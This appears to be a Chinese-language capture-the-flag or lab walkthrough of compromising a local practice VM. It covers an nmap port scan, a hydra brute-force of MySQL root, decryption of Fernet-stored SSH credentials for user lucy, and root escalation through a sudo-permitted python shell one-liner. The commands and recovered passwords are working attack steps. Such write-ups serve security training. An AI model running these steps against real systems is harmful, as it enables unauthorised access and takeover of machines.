攻防靶场——没有Web怎么打
1. 侦查
1.1 收集目标网络信息：IP地址
1.2 主动扫描：扫描IP地址段
1.3 主动扫描：漏洞扫描
2. 初始访问
2.1 有效账户：本地账户
3. 权限提升
3.1 滥用特权控制机制：Sudo或Sudo缓存
1.1 收集目标网络信息：IP地址
设置成NAT模式：
登录之后自动显示出IP为192.168.230.17
1.2 主动扫描：扫描IP地址段
nmap 192.168.230.17 -n -Pn -p- --reason -sV
-n: 不进行DNS解析，直接使用IP地址进行扫描。
-Pn: 假设目标主机是活动的，不进行ping扫描。
-p-: 扫描所有65535个端口。
--reason: 显示每个状态判断的原因（例如，SYN-ACK响应）。
-sV: 进行服务版本检测，尝试确定开放端口上运行的服务及其版本。
发现1337/SSH、3306/MySQL漏洞
1.3 主动扫描：漏洞扫描
用hydra爆破MySQL服务的root用户的弱口令：
hydra -l root -P /home/kali/Desktop/test/dic0.txt 192.168.230.17 mysql
爆破出MySQL的root/prettywoman
2.1 有效账户：本地账户
利用刚才爆出来的MySQL的root/preetywoman来登录MySQL服务
mysql -h 192.168.230.17 -uroot -pprettywoman --skip-ssl
可看出有个data数据库，其他三个是MySQL默认的数据库
查看data数据库的字段内容：
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
根据表名fernet提示，猜测应该是fernet加密，尝试随波逐流解密：
lucy:wJ9`"Lemdv9[FEw-
用户名确认是lucy，密码是wJ9`"Lemdv9[FEw-
根据先前的1337/SSH，尝试ssh连接：
ssh lucy@192.168.230.17 -p 1337
whoami;id;hostname;ip address
现在还是uid=1000(lucy) gid=1000(lucy) groups=1000(lucy)，无root权限
3.1 滥用特权控制机制：Sudo或Sudo缓存
sudo -l列出用户的权限或检查特定命令：
发现能在root权限且无密码的情况下运行/usr/bin/python2 /opt/exp.py
python命令能用于提权
sudo python -c 'import os; os.system("/bin/sh")'
import os; os.system("/bin/sh"); os.setuid(0)
成功sudo提权！